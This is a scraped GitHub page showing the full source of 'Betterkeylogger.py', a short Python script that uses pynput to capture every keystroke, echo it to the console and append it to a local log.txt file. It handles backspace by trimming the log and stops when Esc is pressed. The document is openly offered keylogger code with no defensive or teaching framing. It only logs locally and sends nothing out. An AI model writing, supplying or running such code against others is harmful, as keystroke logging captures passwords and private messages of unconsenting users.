-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathBetterkeylogger.py
More file actions
49 lines (37 loc) · 1.31 KB
/
Betterkeylogger.py
File metadata and controls
49 lines (37 loc) · 1.31 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
import pynput
from pynput.keyboard import Key, Listener
count = 0
keys = []
def on_press(key):
global keys, count
if key == Key.backspace:
if len(keys) > 0:
keys.pop() # Remove the last key from the list
truncate_file("log.txt") # Delete the last character in the log file
else:
keys.append(key)
count += 1
print("{0} pressed".format(key))
if count >= 1: # Adjusted the condition to match your requirement
count = 0
write_file(keys)
keys.clear() # Clear the keys list
def write_file(keys):
with open("log.txt", "a") as f:
for key in keys:
k = str(key).replace("'", "")
if k.find("space") > 0:
f.write("\n")
elif k.find("Key") == -1:
f.write(k)
else:
f.write(" [" + k.replace("Key.", "") + "] ")
def truncate_file(file_path):
with open(file_path, "rb+") as f:
f.seek(-1, 2) # Move the file pointer to the last character
f.truncate() # Truncate the file at the current position
def on_release(key):
if key == Key.esc:
return False
with Listener(on_press=on_press, on_release=on_release) as listener:
listener.join()